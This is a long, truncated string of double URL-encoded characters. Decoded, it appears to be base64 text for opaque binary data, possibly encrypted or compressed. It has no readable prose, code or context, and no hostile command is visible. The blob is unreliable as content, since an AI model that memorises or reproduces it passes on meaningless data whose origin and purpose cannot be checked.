%37%31%25%36%62%25%34%35%25%35%30%25%33%39%25%34%61%25%35%39%25%37%33%25%34%39%25%33%35%25%33%30%25%33%33%25%36%62%25%36%32%25%33%38%25%33%31%25%37%36%25%33%34%25%34%61%25%34%61%25%34%33%25%37%33%25%34%61%25%34%64%25%37%37%25%35%35%25%34%66%25%33%32%25%34%66%25%33%34%25%34%64%25%35%39%25%33%38%25%36%33%25%35%39%25%37%33%25%36%34%25%35%35%25%33%31%25%36%37%25%34%64%25%37%61%25%34%35%25%35%61%25%35%37%25%37%36%25%32%66%25%36%65%25%34%33%25%35%30%25%37%32%25%33%39%25%35%31%25%37%38%25%35%33%25%34%38%25%35%39%25%35%35%25%36%66%25%35%31%25%34%66%25%36%35%25%37%61%25%35%32%25%34%35%25%36%32%25%35%34%25%36%63%25%36%61%25%34%61%25%36%34%25%33%34%25%36%38%25%36%63%25%34%36%25%33%38%25%36%34%25%34%39%25%35%32%25%36%63%25%35%34%25%34%65%25%34%64%25%37%34%25%35%61%25%37%38%25%37%37%25%36%37%25%36%31%25%37%37%25%34%35%25%37%61%25%37%37%25%37%30%25%36%39%25%37%30%25%37%37%25%34%34%25%34%35%25%34%64%25%37%38%25%37%61%25%37%36%25%36%62%25%36%39%25%37%35%25%34%34%25%36%37%25%36%66%25%33%37%25%35%34%25%35%35%25%36%32%25%37%36%25%37%36%25%36%35%25%35%36%25%35%30%25%37%32%25%34%36%25%33%32%25%37%33%25%33%36%25%34%36%25%35%36%25%36%63%25%36%63%25%37%39%25%34%39%25%36%34%25%32%62%25%34%61%25%37%36%25%34%65%25%34%33%25%36%65%25%33%31%25%37%39%25%36%62%25%35%38%25%37%31%25%36%36%25%35%30%25%36%32%25%35%34%25%34%36%25%34%64%25%36%66%25%36%38%25%36%35%25%34%35%25%34%36%25%37%34%25%37%61%25%34%38%25%36%34%25%33%34%25%33%38%25%34%63%25%36%62%25%33%33%25%37%37%25%36%35%25%33%33%25%33%39%25%33%30%25%34%65%25%33%38%25%36%34%25%35%35%25%36%34%25%32%66%25%35%33%25%34%31%25%33%37%25%35%61%25%33%31%25%33%36%25%35%33%25%34%66%25%36%63%25%36%62%25%36%38%25%32%66%25%35%33%25%34%61%25%34%34%25%33%35%25%35%38%25%34%33%25%37%35%25%36%63%25%33%37%25%33%39%25%33%30%25%35%33%25%32%66%25%33%37%25%35%38%25%36%32%25%34%32%25%35%39%25%35%37%25%35%34%25%35%38%25%35%31%25%34%64%25%37%31%25%36%38%25%34%64%25%34%38%25%35%31%25%35%34%25%36%34%25%35%30%25%33%32%25%35%30%25%36%33%25%34%35%25%33%31%25%34%62%25%35%33%25%35%61%25%33%33%25%34%36%25%37%32%25%34%64%25%37%31%25%35%32%25%33%34%25%34%39%25%36%61%25%37%37%25%33%35%25%36%36%25%35%35%25%37%31%25%36%65%25%36%33%25%36%31%25%33%30%25%33%35%25%33%37%25%36%65%25%36%37%25%35%31%25%32%62%25%34%65%25%35%39%25%37%30%25%35%39%25%33%33%25%33%32%25%34%36%25%36%33%25%35%61%25%36%62%25%37%30%25%35%31%25%33%35%25%36%66%25%37%31%25%35%30%25%37%34%25%36%63%25%34%33%25%35%39%25%36%66%25%37%39%25%33%31%25%34%37%25%34%66%25%35%30%25%34%35%25%34%38%25%37%36%25%34%61%25%33%33%25%35%32%25%34%62%25%36%32%25%34%31%25%36%32%25%33%33%25%36%63%25%36%39%25%35%61%25%34%62%25%34%63%25%37%38%25%36%36%25%33%39%25%36%66%25%35%32%25%33%34%25%36%32%25%33%31%25%35%39%25%36%38%25%36%31%25%37%31%25%33%34%25%35%38%25%35%30%25%33%31%25%33%32%25%35%39%25%33%30%25%37%33%25%34%63%25%36%36%25%37%37%25%36%35%25%37%32%25%33%35%25%34%32%25%35%34%25%35%39%25%34%66%25%33%32%25%36%37%25%34%61%25%36%62%25%37%37%25%35%30%25%37%31%25%37%31%25%34%65%25%34%34%25%37%32%25%34%61%25%35%39%25%35%31%25%36%38%25%36%35%25%36%66%25%33%38%25%35%33%25%36%36%25%34%37%25%36%31%25%34%37%25%34%32%25%35%33%25%37%30%25%34%33%25%34%31%25%36%62%25%36%31%25%37%30%25%35%34%25%36%31%25%36%32%25%34%65%25%34%35%25%35%39%25%34%64%25%36%64%25%36%37%25%35%34%25%34%31%25%33%39%25%34%61%25%37%35%25%34%66%25%33%38%25%33%33%25%36%37%25%35%37%25%34%66%25%33%39%25%35%33%25%36%31%25%34%39%25%34%35%25%37%36%25%34%66%25%34%39%25%33%36%25%37%30%25%33%30%25%37%36%25%36%37%25%34%61%25%37%32%25%34%38%25%34%63%25%34%37%25%35%38%25%33%38%25%34%38%25%36%31%25%34%37%25%36%35%25%35%35%25%35%35%25%36%66%25%36%37%25%36%66%25%35%39%25%37%38%25%34%66%25%34%36%25%33%32%25%36%34%25%35%37%25%35%37%25%34%66%25%33%35%25%37%38%25%36%32%25%37%61%25%33%35%25%36%61%25%35%39%25%35%33%25%35%34%25%35%38%25%35%31%25%37%31%25%33%39%25%34%61%25%35%61%25%36%63%25%34%31%25%35%34%25%36%62%25%37%39%25%36%31%25%34%32%25%35%39%25%33%38%25%33%33%25%34%36%25%33%37%25%33%37%25%35%38%25%35%38%25%34%65%25%33%37%25%37%30%25%34%66%25%34%32%25%36%62%25%36%62%25%35%38%25%34%63%25%37%32%25%36%32%25%37%32%25%34%38%25%35%34%25%37%34%25%36%38%25%34%37%25%33%31%25%34%61%25%35%39%25%34%66%25%36%38%25%35%33%25%37%39%25%33%31%25%36%34%25%33%34%25%36%32%25%37%38%25%33%35%25%34%35%25%35%35%25%34%61%25%33%34%25%36%64%25%33%38%25%37%61%25%34%35%25%36%36%25%34%32%25%33%32%25%35%39%25%37%32%25%34%65%25%37%30%25%36%36%25%34%32%25%35%33%25%33%38%25%36%37%25%34%64%25%35%33%25%33%32%25%36%35%25%34%35%25%34%64%25%34%61%25%37%34%25%37%30%25%34%64%25%36%37%25%35%34%25%36%66%25%33%39%25%36%31%25%34%36%25%35%36%25%36%35%25%37%36%25%32%62%25%36%31%25%35%32%25%35%36%25%35%39%25%35%36%25%32%66%25%36%61%25%35%30%25%37%61%25%36%65%25%35%33%25%35%30%25%34%65%25%33%34%25%36%61%25%34%62%25%36%38%25%36%36%25%33%39%25%37%34%25%35%33%25%35%61%25%34%61%25%35%34%25%34%37%25%37%37%25%35%32%25%34%64%25%33%39%25%37%33%25%34%36%25%34%65%25%34%37%25%37%32%25%33%36%25%37%31%25%34%65%25%36%66%25%35%36%25%36%35%25%36%34%25%36%32%25%33%33%25%34%36%25%36%64%25%35%37%25%36%38%25%35%30%25%36%64%25%33%37%25%35%37%25%37%31%25%33%39%25%37%30%25%34%36%25%33%33%25%34%66%25%34%33%25%37%37%25%33%30%25%36%38%25%34%36%25%33%36%25%33%35%25%37%30%25%37%35%25%35%39%25%37%37%25%37%32%25%36%38%25%35%31%25%33%35%25%33%32%25%34%35%25%34%64%25%33%35%25%34%62%25%36%31%25%34%33%25%35%61%25%37%38%25%35%34%25%34%61%25%37%34%25%35%32%25%37%37%25%34%38%25%33%34%25%34%38%25%32%62%25%37%35%25%35%39%25%36%36%25%36%37%25%33%35%25%33%33%25%36%32%25%36%32%25%36%31%25%34%61%25%37%38%25%34%37%25%35%33%25%37%30%25%37%37%25%36%63%25%33%36%25%37%36%25%34%63%25%36%63%25%37%39%25%35%37%25%37%30%25%34%62%25%36%33%25%35%31%25%34%63%25%34%63%25%33%35%25%34%32%25%36%38%25%34%39%25%36%33%25%37%30%25%36%66%25%34%63%25%37%35%25%34%66%25%34%66%25%36%66%25%34%37%25%37%61%25%36%35%25%34%61%25%35%38%25%34%66%25%36%64%25%36%33%25%37%37%25%34%38%25%37%34%25%35%34%25%37%61%25%36%64%25%36%38%25%35%38%25%35%32%25%36%39%25%33%36%25%33%36%25%37%30%25%35%37%25%35%39%25%34%63%25%37%30%25%35%37%25%35%31%25%35%36%25%34%39%25%37%38%25%36%37%25%36%64%25%33%38%25%35%30%25%36%31%25%33%38%25%36%31%25%37%39%25%34%32%25%34%34%25%33%35%25%35%32%25%34%36%25%35%39%25%37%31%25%33%39%25%33%30%25%36%62%25%37%36%25%33%34%25%34%66%25%34%38%25%36%35%25%34%66%25%36%37%25%36%64%25%34%35%25%34%63%25%34%36%25%34%61%25%34%32%25%36%62%25%37%33%25%36%34%25%35%61%25%34%61%25%33%39%25%36%39%25%35%35%25%34%64%25%34%37%25%32%66%25%34%63%25%37%30%25%36%36%25%33%30%25%34%36%25%37%36%25%37%34%25%34%61%25%36%63%25%33%39%25%33%32%25%33%34%25%34%31%25%33%36%25%33%36%25%34%33%25%36%33%25%37%39%25%34%36%25%36%33%25%34%37%25%36%38%25%33%37%25%34%36%25%33%35%25%36%61%25%34%66%25%36%37%25%36%63%25%33%31%25%32%62%25%36%63%25%33%34%25%36%38%25%37%30%25%33%39%25%34%37%25%34%34%25%35%35%25%35%61%25%34%62%25%37%30%25%36%36%25%34%66%25%36%39%25%32%62%25%37%36%25%36%63%25%34%62%25%33%39%25%33%36%25%35%37%25%35%31%25%35%39%25%32%66%25%34%33%25%36%65%25%37%38%25%34%62%25%35%33%25%33%34%25%36%31%25%35%32%25%34%32%25%35%36%25%37%38%25%33%37%25%36%36%25%34%31%25%35%37%25%36%33%25%35%37%25%34%64%25%34%35%25%36%31%25%36%64%25%36%65%25%37%32%25%36%32%25%36%62%25%36%33%25%36%64%25%32%66%25%34%61%25%35%33%25%34%38%25%33%32%25%35%33%25%34%63%25%33%37%25%37%37%25%36%63%25%37%39%25%33%33%25%37%31%25%32%62%25%36%37%25%36%37%25%34%37%25%33%31%25%35%38%25%35%38%25%34%61%25%34%32%25%36%33%25%36%65%25%36%62%25%33%36%25%37%34%25%34%34%25%32%62%25%37%30%25%32%66%25%33%32%25%34%32%25%36%33%25%33%36%25%36%36%25%35%61%25%33%31%25%32%66%25%34%36%25%36%64%25%36%31%25%36%32%25%32%62%25%33%30%25%37%30%25%34%63%25%37%61%25%32%66%25%34%66%25%36%31%25%36%38%25%33%30%25%33%37%25%35%36%25%35%34%25%36%38%25%36%39%25%33%33%25%34%64%25%34%65%25%36%39%25%37%30%25%34%66%25%34%34%25%34%39%25%36%34%25%37%32%25%35%35%25%37%38%25%34%33%25%35%32%25%33%34%25%33%32%25%33%30%25%34%63%25%37%38%25%34%63%25%34%31%25%37%61%25%36%31%25%34%62%25%36%66%25%35%37%25%35%32%25%36%36%25%33%34%25%36%64%25%34%35%25%37%39%25%35%31%25%36%32%25%37%35%25%33%32%25%34%32%25%36%63%25%34%65%25%34%61%25%34%38%25%37%35%25%36%62%25%35%35%25%32%62%25%34%35%25%36%37%25%35%38%25%34%65%25%36%32%25%34%62%25%34%39%25%33%33%25%35%33%25%35%34%25%37%30%25%33%36%25%37%30%25%33%38%25%32%66%25%34%61%25%34%65%25%34%37%25%36%37%25%34%32%25%36%37%25%33%34%25%33%33%25%32%62%25%37%39%25%35%39%25%33%39%25%35%33%25%34%38%25%36%36%25%33%37%25%36%36%25%37%32%25%33%37%25%36%37%25%33%31%25%36%37%25%33%33%25%33%32%25%35%39%25%34%62%25%34%66%25%33%37%25%35%31%25%37%37%25%34%62%25%35%37%25%37%35%25%37%36%25%34%61%25%34%35%25%33%30%25%34%62%25%36%37%25%36%63%25%34%39%25%36%64%25%35%61%25%35%34%25%34%63%25%35%34%25%36%62%25%37%33%25%33%36%25%34%35%25%37%34%25%36%33%25%37%38%25%34%32%25%34%64%25%34%63%25%37%35%25%33%34%25%36%38%25%35%37%25%34%64%25%36%37%25%36%64%25%33%39%25%36%31%25%34%36%25%34%36%25%33%33%25%37%37%25%35%34%25%37%33%25%36%32%25%36%62%25%35%34%25%34%31%25%32%66%25%36%36%25%33%30%25%35%39%25%36%36%25%36%35%25%34%37%25%36%66%25%34%33%25%33%37%25%34%35%25%35%39%25%34%62%25%33%32%25%37%36%25%34%65%25%37%35%25%35%39%25%37%37%25%36%37%25%34%38%25%37%33%25%33%38%25%34%36%25%34%62%25%36%61%25%35%34%25%35%36%25%36%39%25%36%38%25%34%36%25%35%36%25%34%32%25%34%39%25%34%35%25%36%64%25%33%36%25%34%62%25%37%31%25%33%33%25%36%31%25%32%66%25%34%33%25%34%37%25%34%65%25%35%32%25%35%61%25%36%65%25%35%30%25%34%63%25%36%39%25%36%31%25%35%35%25%36%34%25%37%32%25%35%30%25%37%36%25%34%61%25%37%36%25%34%38%25%35%33%25%34%65%25%34%32%25%34%35%25%37%34%25%36%31%25%36%64%25%35%34%25%36%37%25%36%63%25%37%39%25%35%30%25%36%63%25%37%31%25%35%31%25%35%37%25%36%32%25%34%35%25%33%31%25%36%66%25%33%38%25%35%34%25%35%34%25%36%32%25%35%36%25%36%36%25%34%61%25%34%39%25%35%30%25%36%31%25%37%34%25%34%35%25%36%36%25%34%32%25%37%35%25%34%63%25%36%35%25%36%64%25%37%33%25%36%33%25%36%64%25%33%39%25%35%31%25%36%36%25%34%62%25%35%61%25%36%36%25%34%39%25%34%62%25%36%35%25%35%33%25%34%37%25%36%61%25%37%32%25%35%35%25%36%31%25%35%36%25%35%39%25%37%61%25%34%35%25%32%62%25%36%35%25%32%66%25%35%31%25%37%33%25%34%38%25%36%32%25%35%34%25%37%35%25%34%62%25%36%32%25%34%34%25%36%32%25%36%64%25%33%33%25%36%66%25%33%39%25%34%66%25%37%33%25%34%36%25%37%33%25%33%30%25%37%37%25%37%36%25%36%31%25%33%38%25%34%62%25%36%63%25%34%37%25%32%66%25%37%36%25%33%33%25%37%35%25%34%61%25%35%39%25%34%34%25%34%64%25%34%62%25%34%37%25%35%37%25%37%38%25%35%39%25%34%37%25%34%35%25%33%31%25%36%38%25%34%65%25%34%65%25%33%35%25%35%33%25%32%66%25%35%31%25%36%36%25%37%35%25%33%35%25%35%35%25%33%37%25%36%32%25%33%32%25%36%32%25%34%33%25%35%35%25%36%38%25%35%61%25%34%61%25%36%63%25%35%38%25%34%65%25%34%64%25%32%62%25%34%35%25%36%61%25%37%32%25%34%39%25%34%62%25%34%34%25%36%32%25%34%63%25%34%63%25%35%36%25%34%38%25%37%37%25%37%35%25%34%38%25%36%62%25%33%37%25%37%31%25%37%33%25%36%64%25%36%34%25%33%33%25%34%31%25%37%31%25%36%38%25%36%32%25%34%35%25%34%34%25%36%39%25%33%30%25%36%31%25%34%66%25%33%36%25%36%33%25%37%36%25%34%36%25%37%39%25%37%31%25%34%33%25%34%64%25%33%30%25%35%37%25%34%66%25%35%61%25%34%32%25%36%38%25%37%32%25%35%61%25%35%61%25%35%61%25%37%37%25%33%36%25%37%36%25%35%32%25%37%36%25%35%34%25%36%64%25%36%34%25%35%32%25%35%32%25%37%35%25%32%62%25%35%32%25%36%31%25%36%65%25%33%37%25%35%39%25%34%61%25%34%37%25%36%62%25%35%37%25%36%39%25%33%34%25%33%36%25%33%30%25%37%32%25%36%37%25%33%35%25%37%38%25%34%64%25%33%33%25%37%61%25%33%32%25%35%35%25%33%37%25%33%38%25%34%64%25%36%33%25%35%34%25%33%37%25%34%65%25%34%36%25%37%35%25%34%36%25%33%39%25%33%36%25%35%34%25%36%39%25%34%65%25%34%66%25%34%37%25%36%37%25%36%36%25%35%35%25%35%36%25%33%33%25%37%61%25%34%39%25%36%62%25%36%34%25%33%32%25%33%31%25%35%32%25%32%66%25%36%66%25%36%64%25%36%32%25%36%36%25%33%35%25%35%39%25%33%37%25%35%36%25%35%34%25%37%37%25%33%32%25%33%33%25%34%38%25%35%30%25%37%37%25%37%31%25%33%35%25%34%63%25%37%31%25%37%38%25%34%64%25%34%61%25%36%66%25%33%37%25%34%66%25%32%66%25%36%63%25%36%31%25%34%35%25%33%36%25%35%37%25%36%38%25%34%66%25%36%63%25%36%65%25%36%61%25%33%37%25%37%33%25%37%35%25%34%64%25%35%36%25%34%66%25%37%38%25%34%33%25%33%36%25%36%35%25%37%39%25%35%32%25%35%32%25%34%64%25%34%64%25%35%61%25%34%36%25%33%33%25%34%61%25%36%63%25%37%37%25%33%31%25%35%30%25%37%34%25%34%34%25%34%65%25%35%36%25%33%31%25%33%32%25%33%38%25%36%61%25%34%34%25%33%33%25%37%39%25%33%31%25%35%35%25%33%31%25%34%62%25%37%33%25%33%31%25%33%35%25%33%32%25%34%32%25%32%62%25%34%37%25%37%39%25%34%61%25%37%34%25%34%35%25%35%31%25%37%30%25%36%66%25%36%32%25%37%31%25%35%30%25%33%31%25%36%35%25%34%64%25%36%39%25%37%38%25%37%34%25%34%32%25%36%63%25%34%62%25%35%38%25%33%35%25%36%64%25%35%33%25%34%66%25%33%37%25%36%38%25%36%37%25%35%36%25%36%63%25%34%35%25%36%66%25%34%64%25%37%61%25%37%34%25%36%31%25%35%36%25%34%66%25%36%61%25%35%36%25%36%35%25%37%30%25%37%34%25%37%33%25%32%66%25%36%65%25%35%33%25%37%35%25%35%30%25%36%35%25%35%32%25%36%32%25%36%62%25%37%35%25%35%33%25%35%30%25%36%38%25%36%66%25%32%62%25%36%35%25%35%35%25%33%33%25%36%66%25%37%36%25%33%35%25%33%34%25%36%38%25%33%35%25%33%31%25%35%38%25%36%31%25%34%31%25%37%30%25%37%35%25%36%31%25%35%35%25%37%31%25%37%32%25%36%37%25%35%38%25%35%31%25%33%33%25%34%33%25%33%36%25%37%31%25%33%33%25%36%64%25%34%37%25%34%37%25%33%39%25%34%39%25%36%65%25%36%31%25%35%35%25%34%33%25%33%36%25%36%32%25%35%33%25%36%64%25%32%66%25%36%36%25%35%30%25%37%35%25%37%36%25%37%39%25%34%36%25%36%63%25%32%62%25%36%65%25%37%38%25%37%31%25%36%36%25%34%66%25%36%31%25%36%63%25%33%37%25%35%33%25%34%37%25%36%31%25%36%33%25%33%38%25%33%33%25%37%33%25%32%62%25%32%62%25%36%33%25%35%30%25%35%36%25%34%39%25%35%34%25%37%31%25%35%34%25%36%63%25%37%34%25%35%31%25%33%33%25%34%32%25%37%33%25%37%38%25%34%61%25%33%34%25%36%36%25%34%36%25%33%39%25%35%39%25%36%62%25%36%39%25%36%63%25%36%63%25%35%35%25%36%36%25%34%39%25%36%66%25%35%30%25%36%65%25%34%61%25%33%39%25%35%32%25%34%39%25%32%62%25%33%33%25%33%38%25%37%61%25%35%61%25%34%38%25%34%34%25%35%36%25%36%66%25%36%64%25%33%31%25%36%63%25%36%39%25%37%34%25%36%32%25%33%39%25%35%39%25%36%63%25%37%38%25%33%38%25%36%66%25%37%36%25%36%33%25%33%31%25%33%30%25%34%34%25%36%31%25%32%66%25%34%33%25%37%30%25%34%37%25%36%39%25%34%66%25%33%38%25%33%35%25%36%31%25%36%39%25%36%38%25%33%30%25%36%39%25%36%34%25%37%32%25%36%63%25%34%39%25%34%63%25%37%38%25%35%32%25%36%34%25%36%37%25%36%33%25%34%37%25%36%39%25%35%36%25%34%38%25%37%38%25%36%62%25%33%34%25%34%66%25%35%32%25%34%39%25%33%34%25%34%37%25%36%65%25%34%36%25%35%31%25%37%33%25%35%61%25%35%33%25%36%62%25%35%32%25%33%33%25%37%39%25%37%39%25%35%35%25%37%36%25%33%37%25%37%36%25%34%33%25%37%31%25%34%31%25%37%36%25%34%34%25%35%37%25%37%30%25%36%38%25%34%36%25%32%62%25%37%61%25%34%36%25%35%36%25%34%32%25%33%34%25%33%38%25%36%31%25%37%35%25%37%61%25%34%32%25%34%39%25%37%36%25%35%38%25%37%36%25%34%64%25%37%38%25%33%37%25%37%38%25%36%62%25%35%38%25%35%30%25%32%62%25%36%33%25%34%32%25%32%66%25%37%31%25%36%66%25%34%35%25%36%65%25%35%39%25%37%39%25%37%36%25%34%37%25%33%37%25%36%66%25%35%38%25%34%66%25%37%30%25%36%35%25%34%62%25%37%35%25%33%32%25%37%39%25%37%33%25%37%61%25%34%38%25%36%32%25%35%32%25%36%65%25%35%37%25%34%35%25%33%38%25%36%39%25%33%31%25%37%38%25%36%66%25%35%37%25%36%33%25%37%36%25%33%30%25%37%38%25%34%66%25%36%38%25%37%35%25%34%34%25%35%38%25%34%61%25%36%37%25%34%63%25%36%39%25%33%38%25%34%62%25%32%62%25%35%38%25%34%36%25%37%39%25%37%33%25%36%36%25%33%33%25%32%66%25%35%39%25%36%34%25%37%61%25%37%37%25%37%37%25%36%62%25%35%33%25%35%39%25%34%66%25%36%63%25%35%30%25%34%38%25%37%37%25%33%37%25%34%61%25%37%36%25%36%38%25%34%66%25%34%66%25%37%39%25%36%33%25%35%30%25%33%36%25%33%30%25%34%33%25%32%62%25%36%65%25%35%61%25%35%30%25%33%31%25%34%38%25%34%34%25%37%34%25%33%39%25%37%39%25%34%37%25%36%34%25%34%65%25%33%33%25%37%35%25%37%31%25%37%35%25%35%38%25%35%31%25%36%39%25%37%35%25%34%35%25%36%65%25%35%32%25%34%34%25%34%33%25%34%64%25%33%38%25%33%34%25%35%38%25%34%33%25%35%34%25%37%36%25%36%66%25%37%35%25%32%66%25%32%66%25%33%35%25%33%35%25%35%38%25%37%38%25%36%35%25%33%35%25%35%37%25%34%33%25%34%64%25%35%33%25%36%63%25%32%66%25%34%65%25%35%39%25%33%36%25%36%65%25%37%34%25%37%30%25%36%33%25%33%31%25%34%37%25%34%64%25%32%62%25%37%30%25%36%38%25%35%35%25%36%35%25%36%38%25%37%35%25%37%34%25%36%61%25%35%61%25%35%33%25%33%30%25%34%61%25%35%35%25%37%30%25%34%31%25%34%32%25%37%31%25%34%62%25%34%33%25%33%34%25%34%32%25%37%32%25%37%61%25%35%36%25%34%33%25%36%36%25%33%37%25%37%31%25%34%65%25%36%39%25%34%63%25%33%39%25%35%38%25%33%33%25%34%39%25%37%31%25%34%38%25%35%39%25%37%33%25%34%66%25%37%37%25%32%62%25%37%32%25%33%35%25%34%36%25%37%36%25%34%66%25%35%34%25%33%32%25%36%31%25%37%37%25%34%35%25%34%61%25%37%34%25%37%31%25%34%39%25%34%64%25%34%65%25%36%66%25%33%31%25%34%39%25%33%38%25%33%37%25%37%32%25%36%39%25%34%36%25%37%30%25%33%37%25%37%33%25%35%33%25%35%30%25%34%32%25%34%39%25%34%65%25%37%30%25%34%35%25%36%65%25%37%33%25%34%64%25%34%63%25%36%38%25%33%35%25%33%32%25%35%39%25%36%66%25%34%62%25%35%34%25%36%34%25%33%32%25%34%66%25%36%34%25%35%36%25%34%64%25%37%31%25%36%35%25%33%30%25%32%62%25%37%37%25%37%35%25%34%38%25%36%36%25%34%34%25%36%66%25%36%38%25%36%32%25%36%39%25%36%63%25%33%39%25%34%35%25%36%34%25%34%61%25%37%37%25%35%38%25%36%32%25%36%31%25%34%38%25%37%36%25%37%61%25%34%38%25%35%61%25%33%36%25%33%35%25%36%62%25%33%35%25%33%30%25%35%38%25%36%38%25%37%31%25%36%63%25%33%34%25%33%38%25%36%32%25%32%62%25%32%66%25%35%39%25%33%37%25%34%31%25%34%35%25%37%33%25%35%37%25%36%36%25%34%32%25%35%38%25%35%31%25%36%63%25%36%38%25%34%34%25%37%32%25%37%37%25%36%34%25%37%39%25%35%30%25%34%66%25%34%37%25%36%63%25%34%66%25%34%36%25%34%61%25%37%31%25%34%39%25%32%62%25%32%62%25%33%39%25%36%38%25%34%37%25%33%34%25%35%37%25%36%66%25%33%38%25%33%35%25%34%36%25%34%39%25%35%35%25%36%37%25%34%66%25%35%38%25%33%38%25%35%35%25%33%30%25%34%36%25%37%61%25%34%32%25%35%31%25%35%32%25%36%38%25%33%30%25%34%38%25%33%33%25%33%34%25%34%31%25%35%38%25%37%35%25%33%35%25%33%32%25%33%37%25%35%31%25%33%34%25%36%38%25%34%38%25%33%34%25%37%33%25%36%37%25%36%61%25%37%31%25%36%31%25%36%38%25%35%30%25%35%61%25%35%31%25%33%38%25%34%64%25%36%34%25%34%63%25%34%62%25%34%35%25%34%33%25%35%33%25%37%39%25%33%30%25%35%32%25%33%31%25%36%38%25%35%33%25%37%33%25%34%61%25%35%31%25%33%36%25%36%38%25%34%37%25%35%30%25%37%37%25%33%38%25%36%66%25%34%65%25%34%33%25%36%34%25%36%33%25%34%39%25%35%61%25%36%61%25%34%34%25%36%62%25%37%31%25%36%66%25%37%30%25%36%31%25%37%39%25%34%65%25%32%66%25%37%30%25%33%36%25%37%31%25%36%61%25%34%38%25%32%62%25%35%33%25%37%32%25%36%32%25%36%66%25%36%62%25%35%31%25%37%31%25%36%33%25%34%62%25%36%33%25%34%62%25%36%38%25%35%32%25%34%31%25%33%36%25%35%33%25%35%38%25%34%31%25%37%30%25%34%34%25%34%36%25%37%31%25%37%37%25%36%38%25%35%37%25%37%31%25%33%31%25%37%33%25%37%39%25%37%38%25%33%32%25%34%36%25%35%38%25%36%35%25%36%38%25%34%35%25%34%32%25%37%34%25%35%61%25%33%33%25%34%32%25%36%39%25%37%31%25%36%35%25%34%31%25%35%39%25%33%35%25%37%32%25%35%31%25%34%36%25%33%32%25%35%31%25%36%64%25%35%34%25%34%66%25%37%39%25%37%37%25%34%61%25%37%35%25%37%34%25%37%37%25%34%32%25%36%32%25%34%65%25%35%39%25%34%38%25%33%38%25%35%33%25%32%66%25%36%65%25%34%36%25%34%31%25%33%38%25%37%33%25%33%38%25%35%35%25%36%33%25%34%62%25%34%65%25%37%37%25%34%36%25%33%31%25%34%39%25%33%38%25%34%39%25%35%32%25%37%38%25%34%64%25%36%64%25%33%31%25%34%38%25%33%39%25%37%39%25%34%37%25%35%61%25%32%62%25%35%35%25%34%34%25%32%66%25%37%31%25%37%31%25%37%37%25%37%39%25%33%36%25%36%61%25%33%34%25%37%39%25%37%32%25%36%35%25%36%63%25%37%35%25%34%64%25%34%31%25%36%34%25%37%35%25%37%61%25%34%32%25%35%35%25%33%37%25%33%34%25%34%35%25%36%39%25%35%36%25%36%36%25%36%37%25%36%39%25%34%38%25%36%31%25%36%32%25%34%61%25%34%61%25%36%36%25%35%37%25%35%31%25%37%39%25%36%39%25%33%35%25%35%33%25%36%39%25%37%36%25%36%36%25%37%39%25%35%61%25%36%35%25%34%38%25%35%35%25%34%66%25%35%31%25%36%33%25%37%31%25%36%32%25%33%38%25%36%65%25%34%34%25%33%34%25%33%33%25%35%34%25%36%62%25%36%66%25%35%34%25%36%37%25%36%32%25%37%61%25%35%38%25%36%63%25%37%38%25%36%37%25%34%34%25%34%62%25%34%34%25%33%30%25%33%30%25%36%37%25%34%31%25%36%34%25%36%31%25%34%35%25%35%34%25%35%61%25%36%36%25%34%31%25%34%36%25%36%33%25%35%38%25%34%63%25%36%34%25%36%36%25%32%66%25%36%37%25%35%39%25%36%33%25%32%66%25%33%36%25%34%61%25%35%31%25%33%35%25%35%38%25%36%35%25%33%32%25%36%39%25%34%38%25%34%62%25%35%37%25%36%66%25%34%39%25%35%36%25%34%61%25%34%37%25%36%39%25%35%36%25%33%32%25%37%33%25%34%61%25%37%61%25%34%33%25%33%32%25%34%34%25%35%38%25%34%39%25%36%35%25%35%33%25%36%34%25%36%61%25%34%66%25%35%35%25%36%66%25%34%33%25%34%34%25%34%64%25%33%35%25%36%31%25%35%36%25%33%37%25%37%38%25%37%31%25%34%32%25%36%63%25%34%37%25%37%61%25%34%64%25%35%31%25%32%66%25%34%61%25%32%62%25%33%33%25%35%32%25%34%32%25%33%34%25%36%62%25%37%36%25%36%32%25%36%64%25%35%34%25%37%38%25%34%39%25%32%62%25%37%37%25%37%36%25%35%30%25%35%34%25%35%30%25%34%34%25%37%32%25%34%64%25%37%35%25%35%36%25%32%66%25%35%33%25%36%38%25%37%31%25%36%66%25%33%30%25%36%35%25%33%35%25%37%33%25%37%35%25%36%64%25%36%66%25%32%66%25%35%34%25%34%39%25%36%39%25%34%33%25%36%38%25%37%36%25%33%39%25%34%66%25%33%33%25%33%37%25%37%35%25%37%34%25%37%37%25%34%36%25%37%32%25%35%32%25%33%35%25%37%36%25%35%31%25%36%65%25%36%62%25%32%62%25%36%63%25%36%62%25%33%30%25%36%39%25%34%65%25%36%62%25%37%34%25%37%37%25%34%34%25%37%34%25%33%31%25%37%37%25%34%35%25%37%34%25%32%66%25%34%33%25%35%31%25%35%31%25%34%61%25%33%34%25%35%30%25%34%64%25%36%32%25%36%65%25%35%37%25%36%63%25%36%38%25%36%66%25%35%37%25%37%36%25%35%30%25%33%30%25%36%32%25%36%36%25%32%62%25%36%32%25%33%39%25%37%33%25%34%62%25%34%65%25%33%38%25%33%31%25%35%34%25%33%39%25%36%66%25%35%36%25%33%36%25%34%61%25%33%33%25%34%63%25%35%32%25%34%62%25%34%64%25%36%31%25%34%32%25%35%61%25%34%35%25%36%64%25%32%62%25%36%65%25%37%31%25%36%66%25%33%35%25%35%36%25%33%35%25%34%35%25%34%39%25%37%32%25%36%33%25%36%32%25%37%39%25%37%38%25%35%61%25%36%63%25%34%62%25%37%36%25%34%35%25%37%61%25%36%66%25%37%31%25%37%30%25%34%37%25%34%33%25%34%61%25%35%38%25%35%37%25%36%39%25%35%36%25%34%33%25%35%38%25%37%31%25%35%61%25%32%66%25%34%35%25%37%30%25%37%33%25%34%61%25%35%37%25%33%39%25%37%39%25%33%37%25%33%34%25%36%35%25%37%36%25%36%32%25%34%66%25%35%61%25%36%31%25%34%37%25%36%64%25%33%32%25%34%37%25%34%62%25%36%65%25%35%31%25%36%39%25%36%66%25%32%62%25%36%34%25%36%39%25%36%63%25%37%33%25%37%34%25%36%62%25%32%66%25%37%32%25%34%34%25%35%32%25%33%32%25%34%31%25%36%62%25%34%36%25%36%63%25%35%35%25%35%36%25%36%34%25%36%32%25%36%63%25%35%33%25%34%31%25%33%34%25%32%62%25%37%31%25%34%31%25%37%34%25%33%32%25%34%61%25%34%66%25%33%36%25%33%32%25%36%63%25%35%30%25%36%32%25%34%39%25%35%38%25%34%65%25%36%61%25%36%62%25%37%39%25%35%61%25%35%39%25%35%39%25%34%66%25%37%30%25%36%66%25